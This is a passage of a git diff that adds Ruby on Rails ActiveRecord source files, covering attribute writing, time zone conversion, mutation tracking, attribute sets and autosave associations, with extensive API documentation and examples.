+          def convert_time_to_time_zone(value)
+            return if value.nil?
+
+            if value.acts_like?(:time)
+              value.in_time_zone
+            elsif value.is_a?(::Float)
+              value
+            else
+              map_avoiding_infinite_recursion(value) { |v| convert_time_to_time_zone(v) }
+            end
+          end
+
+          def set_time_zone_without_conversion(value)
+            ::Time.zone.local_to_utc(value).try(:in_time_zone) if value
+          end
+
+          def map_avoiding_infinite_recursion(value)
+            map(value) do |v|
+              if value.equal?(v)
+                nil
+              else
+                yield(v)
+              end
+            end
+          end
+      end
+
+      extend ActiveSupport::Concern
+
+      included do
+        mattr_accessor :time_zone_aware_attributes, instance_writer: false, default: false
+
+        class_attribute :skip_time_zone_conversion_for_attributes, instance_writer: false, default: []
+        class_attribute :time_zone_aware_types, instance_writer: false, default: [ :datetime, :time ]
+      end
+
+      module ClassMethods
+        private
+
+          def inherited(subclass)
+            super
+            # We need to apply this decorator here, rather than on module inclusion. The closure
+            # created by the matcher would otherwise evaluate for `ActiveRecord::Base`, not the
+            # sub class being decorated. As such, changes to `time_zone_aware_attributes`, or
+            # `skip_time_zone_conversion_for_attributes` would not be picked up.
+            subclass.class_eval do
+              matcher = ->(name, type) { create_time_zone_conversion_attribute?(name, type) }
+              decorate_matching_attribute_types(matcher, :_time_zone_conversion) do |type|
+                TimeZoneConverter.new(type)
+              end
+            end
+          end
+
+          def create_time_zone_conversion_attribute?(name, cast_type)
+            enabled_for_column = time_zone_aware_attributes &&
+              !skip_time_zone_conversion_for_attributes.include?(name.to_sym)
+
+            enabled_for_column && time_zone_aware_types.include?(cast_type.type)
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb
new file mode 100644
index 0000000000..fa01f832ac
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/write.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module AttributeMethods
+    module Write
+      extend ActiveSupport::Concern
+
+      included do
+        attribute_method_suffix "="
+      end
+
+      module ClassMethods
+        private
+
+          def define_method_attribute=(name)
+            safe_name = name.unpack("h*".freeze).first
+            ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+
+            generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+              def __temp__#{safe_name}=(value)
+                name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
+                _write_attribute(name, value)
+              end
+              alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
+              undef_method :__temp__#{safe_name}=
+            STR
+          end
+      end
+
+      # Updates the attribute identified by <tt>attr_name</tt> with the
+      # specified +value+. Empty strings for Integer and Float columns are
+      # turned into +nil+.
+      def write_attribute(attr_name, value)
+        name = if self.class.attribute_alias?(attr_name)
+          self.class.attribute_alias(attr_name).to_s
+        else
+          attr_name.to_s
+        end
+
+        name = self.class.primary_key if name == "id".freeze && self.class.primary_key
+        _write_attribute(name, value)
+      end
+
+      # This method exists to avoid the expensive primary_key check internally, without
+      # breaking compatibility with the write_attribute API
+      def _write_attribute(attr_name, value) # :nodoc:
+        @attributes.write_from_user(attr_name.to_s, value)
+        value
+      end
+
+      private
+        def write_attribute_without_type_cast(attr_name, value)
+          name = attr_name.to_s
+          @attributes.write_cast_value(name, value)
+          value
+        end
+
+        # Handle *= for method_missing.
+        def attribute=(attribute_name, value)
+          _write_attribute(attribute_name, value)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_mutation_tracker.rb b/activerecord/lib/active_record/attribute_mutation_tracker.rb
new file mode 100644
index 0000000000..94bf641a5d
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_mutation_tracker.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class AttributeMutationTracker # :nodoc:
+    OPTION_NOT_GIVEN = Object.new
+
+    def initialize(attributes)
+      @attributes = attributes
+      @forced_changes = Set.new
+    end
+
+    def changed_values
+      attr_names.each_with_object({}.with_indifferent_access) do |attr_name, result|
+        if changed?(attr_name)
+          result[attr_name] = attributes[attr_name].original_value
+        end
+      end
+    end
+
+    def changes
+      attr_names.each_with_object({}.with_indifferent_access) do |attr_name, result|
+        change = change_to_attribute(attr_name)
+        if change
+          result[attr_name] = change
+        end
+      end
+    end
+
+    def change_to_attribute(attr_name)
+      attr_name = attr_name.to_s
+      if changed?(attr_name)
+        [attributes[attr_name].original_value, attributes.fetch_value(attr_name)]
+      end
+    end
+
+    def any_changes?
+      attr_names.any? { |attr| changed?(attr) }
+    end
+
+    def changed?(attr_name, from: OPTION_NOT_GIVEN, to: OPTION_NOT_GIVEN)
+      attr_name = attr_name.to_s
+      forced_changes.include?(attr_name) ||
+        attributes[attr_name].changed? &&
+        (OPTION_NOT_GIVEN == from || attributes[attr_name].original_value == from) &&
+        (OPTION_NOT_GIVEN == to || attributes[attr_name].value == to)
+    end
+
+    def changed_in_place?(attr_name)
+      attributes[attr_name.to_s].changed_in_place?
+    end
+
+    def forget_change(attr_name)
+      attr_name = attr_name.to_s
+      attributes[attr_name] = attributes[attr_name].forgetting_assignment
+      forced_changes.delete(attr_name)
+    end
+
+    def original_value(attr_name)
+      attributes[attr_name.to_s].original_value
+    end
+
+    def force_change(attr_name)
+      forced_changes << attr_name.to_s
+    end
+
+    # TODO Change this to private once we've dropped Ruby 2.2 support.
+    # Workaround for Ruby 2.2 "private attribute?" warning.
+    protected
+
+      attr_reader :attributes, :forced_changes
+
+    private
+
+      def attr_names
+        attributes.keys
+      end
+  end
+
+  class NullMutationTracker # :nodoc:
+    include Singleton
+
+    def changed_values(*)
+      {}
+    end
+
+    def changes(*)
+      {}
+    end
+
+    def change_to_attribute(attr_name)
+    end
+
+    def any_changes?(*)
+      false
+    end
+
+    def changed?(*)
+      false
+    end
+
+    def changed_in_place?(*)
+      false
+    end
+
+    def forget_change(*)
+    end
+
+    def original_value(*)
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_set.rb b/activerecord/lib/active_record/attribute_set.rb
new file mode 100644
index 0000000000..492067e2b3
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_set.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require_relative "attribute_set/builder"
+require_relative "attribute_set/yaml_encoder"
+
+module ActiveRecord
+  class AttributeSet # :nodoc:
+    delegate :each_value, :fetch, to: :attributes
+
+    def initialize(attributes)
+      @attributes = attributes
+    end
+
+    def [](name)
+      attributes[name] || Attribute.null(name)
+    end
+
+    def []=(name, value)
+      attributes[name] = value
+    end
+
+    def values_before_type_cast
+      attributes.transform_values(&:value_before_type_cast)
+    end
+
+    def to_hash
+      initialized_attributes.transform_values(&:value)
+    end
+    alias_method :to_h, :to_hash
+
+    def key?(name)
+      attributes.key?(name) && self[name].initialized?
+    end
+
+    def keys
+      attributes.each_key.select { |name| self[name].initialized? }
+    end
+
+    if defined?(JRUBY_VERSION)
+      # This form is significantly faster on JRuby, and this is one of our biggest hotspots.
+      # https://github.com/jruby/jruby/pull/2562
+      def fetch_value(name, &block)
+        self[name].value(&block)
+      end
+    else
+      def fetch_value(name)
+        self[name].value { |n| yield n if block_given? }
+      end
+    end
+
+    def write_from_database(name, value)
+      attributes[name] = self[name].with_value_from_database(value)
+    end
+
+    def write_from_user(name, value)
+      attributes[name] = self[name].with_value_from_user(value)
+    end
+
+    def write_cast_value(name, value)
+      attributes[name] = self[name].with_cast_value(value)
+    end
+
+    def freeze
+      @attributes.freeze
+      super
+    end
+
+    def deep_dup
+      self.class.allocate.tap do |copy|
+        copy.instance_variable_set(:@attributes, attributes.deep_dup)
+      end
+    end
+
+    def initialize_dup(_)
+      @attributes = attributes.dup
+      super
+    end
+
+    def initialize_clone(_)
+      @attributes = attributes.clone
+      super
+    end
+
+    def reset(key)
+      if key?(key)
+        write_from_database(key, nil)
+      end
+    end
+
+    def accessed
+      attributes.select { |_, attr| attr.has_been_read? }.keys
+    end
+
+    def map(&block)
+      new_attributes = attributes.transform_values(&block)
+      AttributeSet.new(new_attributes)
+    end
+
+    def ==(other)
+      attributes == other.attributes
+    end
+
+    protected
+
+      attr_reader :attributes
+
+    private
+
+      def initialized_attributes
+        attributes.select { |_, attr| attr.initialized? }
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_set/builder.rb b/activerecord/lib/active_record/attribute_set/builder.rb
new file mode 100644
index 0000000000..e3a9c7fdb3
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_set/builder.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require_relative "../attribute"
+
+module ActiveRecord
+  class AttributeSet # :nodoc:
+    class Builder # :nodoc:
+      attr_reader :types, :always_initialized, :default
+
+      def initialize(types, always_initialized = nil, &default)
+        @types = types
+        @always_initialized = always_initialized
+        @default = default
+      end
+
+      def build_from_database(values = {}, additional_types = {})
+        if always_initialized && !values.key?(always_initialized)
+          values[always_initialized] = nil
+        end
+
+        attributes = LazyAttributeHash.new(types, values, additional_types, &default)
+        AttributeSet.new(attributes)
+      end
+    end
+  end
+
+  class LazyAttributeHash # :nodoc:
+    delegate :transform_values, :each_key, :each_value, :fetch, to: :materialize
+
+    def initialize(types, values, additional_types, &default)
+      @types = types
+      @values = values
+      @additional_types = additional_types
+      @materialized = false
+      @delegate_hash = {}
+      @default = default || proc {}
+    end
+
+    def key?(key)
+      delegate_hash.key?(key) || values.key?(key) || types.key?(key)
+    end
+
+    def [](key)
+      delegate_hash[key] || assign_default_value(key)
+    end
+
+    def []=(key, value)
+      if frozen?
+        raise RuntimeError, "Can't modify frozen hash"
+      end
+      delegate_hash[key] = value
+    end
+
+    def deep_dup
+      dup.tap do |copy|
+        copy.instance_variable_set(:@delegate_hash, delegate_hash.transform_values(&:dup))
+      end
+    end
+
+    def initialize_dup(_)
+      @delegate_hash = Hash[delegate_hash]
+      super
+    end
+
+    def select
+      keys = types.keys | values.keys | delegate_hash.keys
+      keys.each_with_object({}) do |key, hash|
+        attribute = self[key]
+        if yield(key, attribute)
+          hash[key] = attribute
+        end
+      end
+    end
+
+    def ==(other)
+      if other.is_a?(LazyAttributeHash)
+        materialize == other.materialize
+      else
+        materialize == other
+      end
+    end
+
+    def marshal_dump
+      materialize
+    end
+
+    def marshal_load(delegate_hash)
+      @delegate_hash = delegate_hash
+      @types = {}
+      @values = {}
+      @additional_types = {}
+      @materialized = true
+    end
+
+    # TODO Change this to private once we've dropped Ruby 2.2 support.
+    # Workaround for Ruby 2.2 "private attribute?" warning.
+    protected
+
+      attr_reader :types, :values, :additional_types, :delegate_hash, :default
+
+      def materialize
+        unless @materialized
+          values.each_key { |key| self[key] }
+          types.each_key { |key| self[key] }
+          unless frozen?
+            @materialized = true
+          end
+        end
+        delegate_hash
+      end
+
+    private
+
+      def assign_default_value(name)
+        type = additional_types.fetch(name, types[name])
+        value_present = true
+        value = values.fetch(name) { value_present = false }
+
+        if value_present
+          delegate_hash[name] = Attribute.from_database(name, value, type)
+        elsif types.key?(name)
+          delegate_hash[name] = default.call(name) || Attribute.uninitialized(name, type)
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_set/yaml_encoder.rb b/activerecord/lib/active_record/attribute_set/yaml_encoder.rb
new file mode 100644
index 0000000000..9254ce16ab
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_set/yaml_encoder.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class AttributeSet
+    # Attempts to do more intelligent YAML dumping of an
+    # ActiveRecord::AttributeSet to reduce the size of the resulting string
+    class YAMLEncoder # :nodoc:
+      def initialize(default_types)
+        @default_types = default_types
+      end
+
+      def encode(attribute_set, coder)
+        coder["concise_attributes"] = attribute_set.each_value.map do |attr|
+          if attr.type.equal?(default_types[attr.name])
+            attr.with_type(nil)
+          else
+            attr
+          end
+        end
+      end
+
+      def decode(coder)
+        if coder["attributes"]
+          coder["attributes"]
+        else
+          attributes_hash = Hash[coder["concise_attributes"].map do |attr|
+            if attr.type.nil?
+              attr = attr.with_type(default_types[attr.name])
+            end
+            [attr.name, attr]
+          end]
+          AttributeSet.new(attributes_hash)
+        end
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :default_types
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attributes.rb b/activerecord/lib/active_record/attributes.rb
new file mode 100644
index 0000000000..afb559db71
--- /dev/null
+++ b/activerecord/lib/active_record/attributes.rb
@@ -0,0 +1,266 @@
+# frozen_string_literal: true
+
+require_relative "attribute/user_provided_default"
+
+module ActiveRecord
+  # See ActiveRecord::Attributes::ClassMethods for documentation
+  module Attributes
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :attributes_to_define_after_schema_loads, instance_accessor: false, default: {} # :internal:
+    end
+
+    module ClassMethods
+      # Defines an attribute with a type on this model. It will override the
+      # type of existing attributes if needed. This allows control over how
+      # values are converted to and from SQL when assigned to a model. It also
+      # changes the behavior of values passed to
+      # {ActiveRecord::Base.where}[rdoc-ref:QueryMethods#where]. This will let you use
+      # your domain objects across much of Active Record, without having to
+      # rely on implementation details or monkey patching.
+      #
+      # +name+ The name of the methods to define attribute methods for, and the
+      # column which this will persist to.
+      #
+      # +cast_type+ A symbol such as +:string+ or +:integer+, or a type object
+      # to be used for this attribute. See the examples below for more
+      # information about providing custom type objects.
+      #
+      # ==== Options
+      #
+      # The following options are accepted:
+      #
+      # +default+ The default value to use when no value is provided. If this option
+      # is not passed, the previous default value (if any) will be used.
+      # Otherwise, the default will be +nil+.
+      #
+      # +array+ (PostgreSQL only) specifies that the type should be an array (see the
+      # examples below).
+      #
+      # +range+ (PostgreSQL only) specifies that the type should be a range (see the
+      # examples below).
+      #
+      # ==== Examples
+      #
+      # The type detected by Active Record can be overridden.
+      #
+      #   # db/schema.rb
+      #   create_table :store_listings, force: true do |t|
+      #     t.decimal :price_in_cents
+      #   end
+      #
+      #   # app/models/store_listing.rb
+      #   class StoreListing < ActiveRecord::Base
+      #   end
+      #
+      #   store_listing = StoreListing.new(price_in_cents: '10.1')
+      #
+      #   # before
+      #   store_listing.price_in_cents # => BigDecimal.new(10.1)
+      #
+      #   class StoreListing < ActiveRecord::Base
+      #     attribute :price_in_cents, :integer
+      #   end
+      #
+      #   # after
+      #   store_listing.price_in_cents # => 10
+      #
+      # A default can also be provided.
+      #
+      #   # db/schema.rb
+      #   create_table :store_listings, force: true do |t|
+      #     t.string :my_string, default: "original default"
+      #   end
+      #
+      #   StoreListing.new.my_string # => "original default"
+      #
+      #   # app/models/store_listing.rb
+      #   class StoreListing < ActiveRecord::Base
+      #     attribute :my_string, :string, default: "new default"
+      #   end
+      #
+      #   StoreListing.new.my_string # => "new default"
+      #
+      #   class Product < ActiveRecord::Base
+      #     attribute :my_default_proc, :datetime, default: -> { Time.now }
+      #   end
+      #
+      #   Product.new.my_default_proc # => 2015-05-30 11:04:48 -0600
+      #   sleep 1
+      #   Product.new.my_default_proc # => 2015-05-30 11:04:49 -0600
+      #
+      # \Attributes do not need to be backed by a database column.
+      #
+      #   # app/models/my_model.rb
+      #   class MyModel < ActiveRecord::Base
+      #     attribute :my_string, :string
+      #     attribute :my_int_array, :integer, array: true
+      #     attribute :my_float_range, :float, range: true
+      #   end
+      #
+      #   model = MyModel.new(
+      #     my_string: "string",
+      #     my_int_array: ["1", "2", "3"],
+      #     my_float_range: "[1,3.5]",
+      #   )
+      #   model.attributes
+      #   # =>
+      #     {
+      #       my_string: "string",
+      #       my_int_array: [1, 2, 3],
+      #       my_float_range: 1.0..3.5
+      #     }
+      #
+      # ==== Creating Custom Types
+      #
+      # Users may also define their own custom types, as long as they respond
+      # to the methods defined on the value type. The method +deserialize+ or
+      # +cast+ will be called on your type object, with raw input from the
+      # database or from your controllers. See ActiveModel::Type::Value for the
+      # expected API. It is recommended that your type objects inherit from an
+      # existing type, or from ActiveRecord::Type::Value
+      #
+      #   class MoneyType < ActiveRecord::Type::Integer
+      #     def cast(value)
+      #       if !value.kind_of?(Numeric) && value.include?('$')
+      #         price_in_dollars = value.gsub(/\$/, '').to_f
+      #         super(price_in_dollars * 100)
+      #       else
+      #         super
+      #       end
+      #     end
+      #   end
+      #
+      #   # config/initializers/types.rb
+      #   ActiveRecord::Type.register(:money, MoneyType)
+      #
+      #   # app/models/store_listing.rb
+      #   class StoreListing < ActiveRecord::Base
+      #     attribute :price_in_cents, :money
+      #   end
+      #
+      #   store_listing = StoreListing.new(price_in_cents: '$10.00')
+      #   store_listing.price_in_cents # => 1000
+      #
+      # For more details on creating custom types, see the documentation for
+      # ActiveModel::Type::Value. For more details on registering your types
+      # to be referenced by a symbol, see ActiveRecord::Type.register. You can
+      # also pass a type object directly, in place of a symbol.
+      #
+      # ==== \Querying
+      #
+      # When {ActiveRecord::Base.where}[rdoc-ref:QueryMethods#where] is called, it will
+      # use the type defined by the model class to convert the value to SQL,
+      # calling +serialize+ on your type object. For example:
+      #
+      #   class Money < Struct.new(:amount, :currency)
+      #   end
+      #
+      #   class MoneyType < Type::Value
+      #     def initialize(currency_converter:)
+      #       @currency_converter = currency_converter
+      #     end
+      #
+      #     # value will be the result of +deserialize+ or
+      #     # +cast+. Assumed to be an instance of +Money+ in
+      #     # this case.
+      #     def serialize(value)
+      #       value_in_bitcoins = @currency_converter.convert_to_bitcoins(value)
+      #       value_in_bitcoins.amount
+      #     end
+      #   end
+      #
+      #   # config/initializers/types.rb
+      #   ActiveRecord::Type.register(:money, MoneyType)
+      #
+      #   # app/models/product.rb
+      #   class Product < ActiveRecord::Base
+      #     currency_converter = ConversionRatesFromTheInternet.new
+      #     attribute :price_in_bitcoins, :money, currency_converter: currency_converter
+      #   end
+      #
+      #   Product.where(price_in_bitcoins: Money.new(5, "USD"))
+      #   # => SELECT * FROM products WHERE price_in_bitcoins = 0.02230
+      #
+      #   Product.where(price_in_bitcoins: Money.new(5, "GBP"))
+      #   # => SELECT * FROM products WHERE price_in_bitcoins = 0.03412
+      #
+      # ==== Dirty Tracking
+      #
+      # The type of an attribute is given the opportunity to change how dirty
+      # tracking is performed. The methods +changed?+ and +changed_in_place?+
+      # will be called from ActiveModel::Dirty. See the documentation for those
+      # methods in ActiveModel::Type::Value for more details.
+      def attribute(name, cast_type = Type::Value.new, **options)
+        name = name.to_s
+        reload_schema_from_cache
+
+        self.attributes_to_define_after_schema_loads =
+          attributes_to_define_after_schema_loads.merge(
+            name => [cast_type, options]
+          )
+      end
+
+      # This is the low level API which sits beneath +attribute+. It only
+      # accepts type objects, and will do its work immediately instead of
+      # waiting for the schema to load. Automatic schema detection and
+      # ClassMethods#attribute both call this under the hood. While this method
+      # is provided so it can be used by plugin authors, application code
+      # should probably use ClassMethods#attribute.
+      #
+      # +name+ The name of the attribute being defined. Expected to be a +String+.
+      #
+      # +cast_type+ The type object to use for this attribute.
+      #
+      # +default+ The default value to use when no value is provided. If this option
+      # is not passed, the previous default value (if any) will be used.
+      # Otherwise, the default will be +nil+. A proc can also be passed, and
+      # will be called once each time a new value is needed.
+      #
+      # +user_provided_default+ Whether the default value should be cast using
+      # +cast+ or +deserialize+.
+      def define_attribute(
+        name,
+        cast_type,
+        default: NO_DEFAULT_PROVIDED,
+        user_provided_default: true
+      )
+        attribute_types[name] = cast_type
+        define_default_attribute(name, default, cast_type, from_user: user_provided_default)
+      end
+
+      def load_schema! # :nodoc:
+        super
+        attributes_to_define_after_schema_loads.each do |name, (type, options)|
+          if type.is_a?(Symbol)
+            type = ActiveRecord::Type.lookup(type, **options.except(:default))
+          end
+
+          define_attribute(name, type, **options.slice(:default))
+        end
+      end
+
+      private
+
+        NO_DEFAULT_PROVIDED = Object.new # :nodoc:
+        private_constant :NO_DEFAULT_PROVIDED
+
+        def define_default_attribute(name, value, type, from_user:)
+          if value == NO_DEFAULT_PROVIDED
+            default_attribute = _default_attributes[name].with_type(type)
+          elsif from_user
+            default_attribute = Attribute::UserProvidedDefault.new(
+              name,
+              value,
+              type,
+              _default_attributes.fetch(name.to_s) { nil },
+            )
+          else
+            default_attribute = Attribute.from_database(name, value, type)
+          end
+          _default_attributes[name] = default_attribute
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
new file mode 100644
index 0000000000..6974cf74f6
--- /dev/null
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -0,0 +1,490 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Autosave Association
+  #
+  # AutosaveAssociation is a module that takes care of automatically saving
+  # associated records when their parent is saved. In addition to saving, it
+  # also destroys any associated records that were marked for destruction.
+  # (See #mark_for_destruction and #marked_for_destruction?).
+  #
+  # Saving of the parent, its associations, and the destruction of marked
+  # associations, all happen inside a transaction. This should never leave the
+  # database in an inconsistent state.
+  #
+  # If validations for any of the associations fail, their error messages will
+  # be applied to the parent.
+  #
+  # Note that it also means that associations marked for destruction won't
+  # be destroyed directly. They will however still be marked for destruction.
+  #
+  # Note that <tt>autosave: false</tt> is not same as not declaring <tt>:autosave</tt>.
+  # When the <tt>:autosave</tt> option is not present then new association records are
+  # saved but the updated association records are not saved.
+  #
+  # == Validation
+  #
+  # Child records are validated unless <tt>:validate</tt> is +false+.
+  #
+  # == Callbacks
+  #
+  # Association with autosave option defines several callbacks on your
+  # model (before_save, after_create, after_update). Please note that
+  # callbacks are executed in the order they were defined in
+  # model. You should avoid modifying the association content, before
+  # autosave callbacks are executed. Placing your callbacks after
+  # associations is usually a good practice.
+  #
+  # === One-to-one Example
+  #
+  #   class Post < ActiveRecord::Base
+  #     has_one :author, autosave: true
+  #   end
+  #
+  # Saving changes to the parent and its associated model can now be performed
+  # automatically _and_ atomically:
+  #
+  #   post = Post.find(1)
+  #   post.title       # => "The current global position of migrating ducks"
+  #   post.author.name # => "alloy"
+  #
+  #   post.title = "On the migration of ducks"
+  #   post.author.name = "Eloy Duran"
+  #
+  #   post.save
+  #   post.reload
+  #   post.title       # => "On the migration of ducks"
+  #   post.author.name # => "Eloy Duran"
+  #
+  # Destroying an associated model, as part of the parent's save action, is as
+  # simple as marking it for destruction:
+  #
+  #   post.author.mark_for_destruction
+  #   post.author.marked_for_destruction? # => true
+  #
+  # Note that the model is _not_ yet removed from the database:
+  #
+  #   id = post.author.id
+  #   Author.find_by(id: id).nil? # => false
+  #
+  #   post.save
+  #   post.reload.author # => nil
+  #
+  # Now it _is_ removed from the database:
+  #
+  #   Author.find_by(id: id).nil? # => true
+  #
+  # === One-to-many Example
+  #
+  # When <tt>:autosave</tt> is not declared new children are saved when their parent is saved:
+  #
+  #   class Post < ActiveRecord::Base
+  #     has_many :comments # :autosave option is not declared
+  #   end
+  #
+  #   post = Post.new(title: 'ruby rocks')
+  #   post.comments.build(body: 'hello world')
+  #   post.save # => saves both post and comment
+  #
+  #   post = Post.create(title: 'ruby rocks')
+  #   post.comments.build(body: 'hello world')
+  #   post.save # => saves both post and comment
+  #
+  #   post = Post.create(title: 'ruby rocks')
+  #   post.comments.create(body: 'hello world')
+  #   post.save # => saves both post and comment
+  #
+  # When <tt>:autosave</tt> is true all children are saved, no matter whether they
+  # are new records or not:
+  #
+  #   class Post < ActiveRecord::Base
+  #     has_many :comments, autosave: true
+  #   end
+  #
+  #   post = Post.create(title: 'ruby rocks')
+  #   post.comments.create(body: 'hello world')
+  #   post.comments[0].body = 'hi everyone'
+  #   post.comments.build(body: "good morning.")
+  #   post.title += "!"
+  #   post.save # => saves both post and comments.
+  #
+  # Destroying one of the associated models as part of the parent's save action
+  # is as simple as marking it for destruction:
+  #
+  #   post.comments # => [#<Comment id: 1, ...>, #<Comment id: 2, ...]>
+  #   post.comments[1].mark_for_destruction
+  #   post.comments[1].marked_for_destruction? # => true
+  #   post.comments.length # => 2
+  #
+  # Note that the model is _not_ yet removed from the database:
+  #
+  #   id = post.comments.last.id
+  #   Comment.find_by(id: id).nil? # => false
+  #
+  #   post.save
+  #   post.reload.comments.length # => 1
+  #
+  # Now it _is_ removed from the database:
+  #
+  #   Comment.find_by(id: id).nil? # => true
+  module AutosaveAssociation
+    extend ActiveSupport::Concern
+
+    module AssociationBuilderExtension #:nodoc:
+      def self.build(model, reflection)
+        model.send(:add_autosave_association_callbacks, reflection)
+      end
+
+      def self.valid_options
+        [ :autosave ]
+      end
+    end
+
+    included do
+      Associations::Builder::Association.extensions << AssociationBuilderExtension
+      mattr_accessor :index_nested_attribute_errors, instance_writer: false, default: false
+    end
+
+    module ClassMethods # :nodoc:
+      private
+
+        def define_non_cyclic_method(name, &block)
+          return if method_defined?(name)
+          define_method(name) do |*args|
+            result = true; @_already_called ||= {}
+            # Loop prevention for validation of associations
+            unless @_already_called[name]
+              begin
+                @_already_called[name] = true
+                result = instance_eval(&block)
+              ensure
+                @_already_called[name] = false
+              end
+            end
+
+            result
+          end
+        end
+
+        # Adds validation and save callbacks for the association as specified by
+        # the +reflection+.
+        #
+        # For performance reasons, we don't check whether to validate at runtime.
+        # However the validation and callback methods are lazy and those methods
+        # get created when they are invoked for the very first time. However,
+        # this can change, for instance, when using nested attributes, which is
+        # called _after_ the association has been defined. Since we don't want
+        # the callbacks to get defined multiple times, there are guards that
+        # check if the save or validation methods have already been defined
+        # before actually defining them.
+        def add_autosave_association_callbacks(reflection)
+          save_method = :"autosave_associated_records_for_#{reflection.name}"
+
+          if reflection.collection?
+            before_save :before_save_collection_association
+            after_save :after_save_collection_association
+
+            define_non_cyclic_method(save_method) { save_collection_association(reflection) }
+            # Doesn't use after_save as that would save associations added in after_create/after_update twice
+            after_create save_method
+            after_update save_method
+          elsif reflection.has_one?
+            define_method(save_method) { save_has_one_association(reflection) } unless method_defined?(save_method)
+            # Configures two callbacks instead of a single after_save so that
+            # the model may rely on their execution order relative to its
+            # own callbacks.
+            #
+            # For example, given that after_creates run before after_saves, if
+            # we configured instead an after_save there would be no way to fire
+            # a custom after_create callback after the child association gets
+            # created.
+            after_create save_method
+            after_update save_method
+          else
+            define_non_cyclic_method(save_method) { throw(:abort) if save_belongs_to_association(reflection) == false }
+            before_save save_method
+          end
+
+          define_autosave_validation_callbacks(reflection)
+        end
+
+        def define_autosave_validation_callbacks(reflection)
+          validation_method = :"validate_associated_records_for_#{reflection.name}"
+          if reflection.validate? && !method_defined?(validation_method)
+            if reflection.collection?
+              method = :validate_collection_association
+            else
+              method = :validate_single_association
+            end
+
+            define_non_cyclic_method(validation_method) { send(method, reflection) }
+            validate validation_method
+            after_validation :_ensure_no_duplicate_errors
+          end
+        end
+    end
+
+    # Reloads the attributes of the object as usual and clears <tt>marked_for_destruction</tt> flag.
+    def reload(options = nil)
+      @marked_for_destruction = false
+      @destroyed_by_association = nil
+      super
+    end
+
+    # Marks this record to be destroyed as part of the parent's save transaction.
+    # This does _not_ actually destroy the record instantly, rather child record will be destroyed
+    # when <tt>parent.save</tt> is called.
+    #
+    # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model.
+    def mark_for_destruction
+      @marked_for_destruction = true
+    end
+
+    # Returns whether or not this record will be destroyed as part of the parent's save transaction.
+    #
+    # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model.
+    def marked_for_destruction?
+      @marked_for_destruction
+    end
+
+    # Records the association that is being destroyed and destroying this
+    # record in the process.
+    def destroyed_by_association=(reflection)
+      @destroyed_by_association = reflection
+    end
+
+    # Returns the association for the parent being destroyed.
+    #
+    # Used to avoid updating the counter cache unnecessarily.
+    def destroyed_by_association
+      @destroyed_by_association
+    end
+
+    # Returns whether or not this record has been changed in any way (including whether
+    # any of its nested autosave associations are likewise changed)
+    def changed_for_autosave?
+      new_record? || has_changes_to_save? || marked_for_destruction? || nested_records_changed_for_autosave?
+    end
+
+    private
+
+      # Returns the record for an association collection that should be validated
+      # or saved. If +autosave+ is +false+ only new records will be returned,
+      # unless the parent is/was a new record itself.
+      def associated_records_to_validate_or_save(association, new_record, autosave)
+        if new_record
+          association && association.target
+        elsif autosave
+          association.target.find_all(&:changed_for_autosave?)
+        else
+          association.target.find_all(&:new_record?)
+        end
+      end
+
+      # go through nested autosave associations that are loaded in memory (without loading
+      # any new ones), and return true if is changed for autosave
+      def nested_records_changed_for_autosave?
+        @_nested_records_changed_for_autosave_already_called ||= false
+        return false if @_nested_records_changed_for_autosave_already_called
+        begin
+          @_nested_records_changed_for_autosave_already_called = true
+          self.class._reflections.values.any? do |reflection|
+            if reflection.options[:autosave]
+              association = association_instance_get(reflection.name)
+              association && Array.wrap(association.target).any?(&:changed_for_autosave?)
+            end
+          end
+        ensure
+          @_nested_records_changed_for_autosave_already_called = false
+        end
+      end
+
+      # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
+      # turned on for the association.
+      def validate_single_association(reflection)
+        association = association_instance_get(reflection.name)
+        record      = association && association.reader
+        association_valid?(reflection, record) if record
+      end
+
+      # Validate the associated records if <tt>:validate</tt> or
+      # <tt>:autosave</tt> is turned on for the association specified by
+      # +reflection+.
+      def validate_collection_association(reflection)
+        if association = association_instance_get(reflection.name)
+          if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
+            records.each_with_index { |record, index| association_valid?(reflection, record, index) }
+          end
+        end
+      end
+
+      # Returns whether or not the association is valid and applies any errors to
+      # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
+      # enabled records if they're marked_for_destruction? or destroyed.
+      def association_valid?(reflection, record, index = nil)
+        return true if record.destroyed? || (reflection.options[:autosave] && record.marked_for_destruction?)
+
+        context = validation_context unless [:create, :update].include?(validation_context)
+
+        unless valid = record.valid?(context)
+          if reflection.options[:autosave]
